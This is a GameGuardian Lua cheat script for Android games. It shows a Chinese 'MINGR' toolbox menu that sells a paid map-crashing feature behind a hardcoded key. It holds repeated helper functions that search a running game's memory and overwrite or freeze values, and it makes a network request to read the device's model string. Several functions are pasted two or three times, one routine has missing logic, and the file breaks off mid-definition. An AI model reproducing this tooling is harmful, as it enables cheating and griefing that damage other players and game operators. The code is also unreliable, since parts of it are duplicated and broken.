function Main() SN = gg.choice({ "🧊炸图整合箱🧊", "🧊查询工具箱🧊", "🧊QQ查询盒🧊", "🧊音乐放片室🧊", "🧊投诉工具箱有bug!🧊", "🧊发泄室[放松心情]🧊", "😋退出MINGR😋" }, 2023, "🧊MINGR[工具箱大厅]🧊\n🧊作者QQ:1218539014🧊\n🧊工具箱交流:962815543🧊\n🧊MINGR工具箱是一个好用且实用多功能免费的工具!🧊\n🧊米国高级工具箱,不喜欢勿用!🧊\n🧊炸图整合箱要付费,请找作者购买!🧊\n🧊凉风有信,风月无边🧊") if SN == 1 then a() end if SN == 2 then b() end if SN == 3 then c() end if SN == 4 then d() end if SN == 5 then e() end if SN == 6 then f() end if SN == 7 then Exit() end XGCK = -1 end function a() if FX2 == nil then mm = gg.prompt({[1]="😋接口密钥😋\n😋3.5元直拿接口密钥😋\n😋通过老玩家验证也可以直接拿接口密钥😋\n😋试用模式:未开启😋"}, {[1]=""}, {[1]="txet"}) if mm[1] == "RangesMINGRcppXSuadbLANHU114514" then gg.toast("欢迎[RangesMINGRcppXSuadbLANHU114514][用户]进入辅助[到期时间][114514年]") else print(mm[1],"您输入的有误!\n试用模式未开启!\n试用模式未开启!\n请联系作者:1218539014\n错误码:213040\n错误码:112900") os.exit() end end lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end function so(a,b,c) local csn=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(csn)if p>11 then p=11 end return "开启失败" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(csn) return a[1].."开启成功" else lde.srg(csn) return a[1].."开启失败!!!" end end vpn=gg.makeRequest("https://weather.mp.qq.com/?_nav_alpha=0&_nav_txtclr=ffffff&_nav_titleclr=ffffff&_nav_anim=true&asyncMode=1&adtag=h5page.ark_expose&city=%E4%B8%AD%E5%B1%B1-%E4%B8%AD%E5%B1%B1&adcode=暂时没有QQ群").content bb,xh=vpn:match("%(Linux; U; (.-); (.-)%)") function Address(adds,offset,chang,value,flags,freeze,save,name)local add=gg.getRangesList(adds)[1]["start"]+offset local data={{["address"]=add,["value"]=value,["flags"]=flags,["freeze"]=freeze}}if chang==true then gg.setValues(data)end if freeze or save ==true then gg.addListItems(data)end if name~="false" then gg.toast("🛡["..name.."]已注入🛡")end end function editData(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启失败")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功\n脚本开启共用时:"..os.clock()-time.."秒")else gg.toast(qmnbn.."开启失败")end end end D=gg.TYPE_DWORD E=gg.TYPE_DOUBLE F=gg.TYPE_FLOAT W=gg.TYPE_WORD B=gg.TYPE_BYTE X=gg.TYPE_XOR Q=gg.TYPE_QWORD function SearchWrite(Search, Write, Type) gg.clearResults() gg.setVisible(false) gg.searchNumber(Search[1][1], Type) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} --用于保存有效结果 local base = Search[1][2] --(0 或主特征码后三位)(用于计算相对主特征码的偏移) if (count > 0) then for i, v in ipairs(result) do v.isUseful = true --保存搜索到的地址信息(全部设定为true) end for k=2, #Search do local tmp = {} local offset = Search[k][2] - base --特征码偏移(副特征码后三位 - 主特征码后三位) local num = Search[k][1] --特征码 for i, v in ipairs(result) do tmp[#tmp+1] = {} --添加项目 tmp[#tmp].address = v.address + offset --项目地址为主特征码地址+偏移量 tmp[#tmp].flags = v.flags --项目数据类型 end tmp = gg.getValues(tmp) --刷新项目值 for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then --判断项目值与其他特征码是否一致 result[i].isUseful = false --不符合过滤条件设定为false end end end for i, v in ipairs(result) do if (v.isUseful) then --筛选出符合条件的主特征码地址 data[#data+1] = v.address end end --------------内存写入 if (#data > 0) then gg.toast("搜索到"..#data.."条数据") local t = {} local base = Search[1][2] for i=1, #data do for k, w in ipairs(Write) do offset = w[2] - base t[#t+1] = {} t[#t].address = data[i] + offset t[#t].flags = Type t[#t].value = w[1] --- 冻结项目添加到列表 if (w[3] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = true gg.addListItems(item) end --- 不需要可以注释掉 end end gg.setValues(t) -- gg.toast("已修改"..#t.."条数据") -- gg.addListItems(t) else gg.toast("not found", false) return false end else gg.toast("Not Found") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,已注入" .. xgsl .. "条数据") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1) for i=2 , #tb1 do local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]} table.insert(lt1,i,mm2) end for i=1 , #tb2 do if tb2[i][2]~=nil then local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]} table.insert(lt2,i,mm3) else local mm3={["修改"] = false,["偏移"] = tb2[i][1]} table.insert(lt2,i,mm3) end end LongTao(lt1, lt2 ) end function LongTao(Search, Write) gg.clearResults() gg.setVisible(false) lx= Search[1]["类型"] gg.searchNumber(Search[1]["主特征码"], lx) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} if (count > 0) then gg.toast("共搜索 "..count.." 条数据") for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local num = Search[k]["副特征码"] if Search[k]["类型"]~= nil then lx =Search[k]["类型"] else lx = Search[1]["类型"] end for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + Search[k]["偏移"] tmp[#tmp].flags = lx end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then local t = {} for i=1, #data do for k, w in ipairs(Write) do if w["类型"] ~= nil then lx = w["类型"] else lx = Search[1]["类型"] end t[#t+1] = {} t[#t].address = data[i] + w["偏移"] t[#t].flags = lx if (w["修改"]~=nil) and (w["修改"]~=false) then t[#t].value = w["修改"] gg.setValues(t) if (w["冻结"] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = w["冻结"] gg.addListItems(item) end end end end gg.loadResults(t) gg.toast("共偏移η"..#t.." 条数据ΔΘ") else gg.toast("未定位到数据!") return false end else gg.toast("未定位到数据!") return false end end local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg. getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local _Q = tonumber(0x167ba0fe) local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address print(string.char(231,190,164,58).._Q) end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end recover=gg.getResults(100000) function AppSearch(SSNR,XGNR,BCNR,notWrite) gg.clearResults() gg.setRanges(SSNR["M"]) gg.searchNumber(SSNR[1]["mv"],SSNR[1]["lx"],false,gg.SIGN_EQUAL,(SSNR[1]["addr"] or nil),(SSNR[1]["toAddr"] or nil)) jg=gg.getResults(100000) local base=(SSNR[1]["offs"] or 0) local data={} if #jg==0 then gg.alert("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end for i=1,#jg do jg[i].Useful=true end for k=2,#SSNR do if not SSNR[k] then break end local content={} local offset=SSNR[k]["offs"]-base local value=SSNR[k]["sv"] local type=SSNR[k]["lx"] local to=(SSNR[k]["to"] or value) local num={} if totonumber(to) then jg[num[i]].Useful=false end end end for j=1,#jg do if jg[j].Useful==true then data[#data+1]=jg[j].address end end if #data==0 then gg.alert("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end if notWrite==true then gg.loadResults(recover) return data end if XGNR then local write={} for i=1,#data do for j=1,#XGNR do write[#write+1]={} write[#write].address=data[i]+(XGNR[j][2]-base) write[#write].flags=XGNR[j][3] write[#write].value=XGNR[j][1] write[#write].freeze=XGNR[j][4] write[#write].name=XGNR[j][5] or nil if write[#write].freeze==true then gg.addListItems({[1]=write[#write]}) else gg.setValues({[1]=write[#write]}) end if XGNR[j][6]==true then gg.addListItems({[1]=write[#write]}) end end end end if BCNR then local bc={} for j=1,#data do for i=1,#BCNR do bc[#bc+1]={} bc[#bc].address=data[j]+(BCNR[i][1]-base) bc[#bc].flags=BCNR[i][2] bc[#bc].name=BCNR[i][3] end end gg.addListItems(bc) end gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改成功") gg.loadResults(recover) end recover=gg.getResults(100000) function AppSearch(SSNR,XGNR,BCNR,notWrite) gg.clearResults() gg.setRanges(SSNR["M"]) gg.searchNumber(SSNR[1]["mv"],SSNR[1]["lx"],false,gg.SIGN_EQUAL,(SSNR[1]["addr"] or nil),(SSNR[1]["toAddr"] or nil)) jg=gg.getResults(100000) local base=(SSNR[1]["offs"] or 0) local data={} if #jg==0 then gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end for i=1,#jg do jg[i].Useful=true end for k=2,#SSNR do if not SSNR[k] then break end local content={} local offset=SSNR[k]["offs"]-base local value=SSNR[k]["sv"] local type=SSNR[k]["lx"] local to=(SSNR[k]["to"] or value) local num={} if totonumber(to) then jg[num[i]].Useful=false end end --↑ end for j=1,#jg do if jg[j].Useful==true then data[#data+1]=jg[j].address end end if #data==0 then gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end if notWrite==true then gg.loadResults(recover) return data end if XGNR then local write={} for i=1,#data do for j=1,#XGNR do write[#write+1]={} write[#write].address=data[i]+(XGNR[j][2]-base) write[#write].flags=XGNR[j][3] write[#write].value=XGNR[j][1] write[#write].freeze=XGNR[j][4] write[#write].name=XGNR[j][5] or nil if write[#write].freeze==true then gg.addListItems({[1]=write[#write]}) else gg.setValues({[1]=write[#write]}) end if XGNR[j][6]==true then gg.addListItems({[1]=write[#write]}) end end end end if BCNR then local bc={} for j=1,#data do for i=1,#BCNR do bc[#bc+1]={} bc[#bc].address=data[j]+(BCNR[i][1]-base) bc[#bc].flags=BCNR[i][2] bc[#bc].name=BCNR[i][3] end end gg.addListItems(bc) end gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改成功") gg.loadResults(recover) end lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end function so(a,b,c) local csn=gg.getRanges() gg.setVisible(false) lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3]then b[p][3]=a[4]end lode[p][i].flags=b[p][3]end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2]then db[2]=db[1]end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(csn)if p>11 then p=11 end return "开启失败" end count=lope lope={}end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3]then c[i][3]=a[4]end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true elseif c[i][4]==2 then lobe[#lobe].freeze=false end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(csn) return a[1].."开启成功" else lde.srg(csn) return a[1].."开启失败!!!" end end --配置 function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,已修改" .. xgsl .. "条数据") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1) for i=2 , #tb1 do local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]} table.insert(lt1,i,mm2) end for i=1 , #tb2 do if tb2[i][2]~=nil then local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]} table.insert(lt2,i,mm3) else local mm3={["修改"] = false,["偏移"] = tb2[i][1]} table.insert(lt2,i,mm3) end end LongTao(lt1, lt2 ) end function LongTao(Search, Write) gg.clearResults() gg.setVisible(false) lx=Search[1]["类型"] gg.searchNumber(Search[1]["主特征码"], lx) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} if (count > 0) then gg.toast("共搜索 "..count.." 条数据") for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local num = Search[k]["副特征码"] if Search[k]["类型"]~= nil then lx =Search[k]["类型"] else lx = Search[1]["类型"] end for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + Search[k]["偏移"] tmp[#tmp].flags = lx end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then local t = {} for i=1, #data do for k, w in ipairs(Write) do if w["类型"] ~= nil then lx = w["类型"] else lx = Search[1]["类型"] end t[#t+1] = {} t[#t].address = data[i] + w["偏移"] t[#t].flags = lx if (w["修改"]~=nil) and (w["修改"]~=false) then t[#t].value = w["修改"] gg.setValues(t) if (w["冻结"] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = w["冻结"] gg.addListItems(item) end end end end gg.loadResults(t) gg.toast("共偏移η"..#t.." 条数据ΔΘ") else gg.toast("未定位到数据!") return false end else gg.toast("未定位到数据!") return false end end local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() -- local _Q = tonumber(0x167ba0fe) local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address -- print(string.char(231,190,164,58).._Q) end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() -- local _Q = tonumber(0x167ba0fe) local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address -- print(string.char(231,190,164,58).._Q) end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end readPointer = function(name, offset, i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i = 2,#offset do addr = gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value = addr[1].value & 0xFFFFFFFF end addr = addr[1].value + offset[i] end return addr end end gg.edits = function(addr, Table, name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value = {address = addr+v[3], value = v[1], flags = v[2], freeze = v[4]}if v[4] then Table1[2][#Table1[2]+1] = value else Table1[1][#Table1[1]+1] = value end end gg.addListItems(Table1[2])gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改"..#Table.."个值") end function Address(adds,offset,chang,value,flags,freeze,save,name)local add=gg.getRangesList(adds)[1]["start"]+offset local data={{["address"]=add,["value"]=value,["flags"]=flags,["freeze"]=freeze}}if chang==true then gg.setValues(data)end if freeze or save ==true then gg.addListItems(data)end if name~="false" then gg.toast("🛡["..name.."]已注入🛡")end end local time=os.clock() function Xilst() local iihj = ilht+1 gg.setRanges(4) local dataType = 4 local tb1 = {{ilht, 0},{iihj, 0x400},} local tb2 = {{ 0 }, } SearchWrite(tb1, tb2, dataType) sl=gg.getResultCount() jg=gg.getResults(100) for i = 1, sl do dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = ilht}}) end end lde,mnsj={},{Dj="0.01",dv={},lz="/sdcard/.zbb",r={}} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function 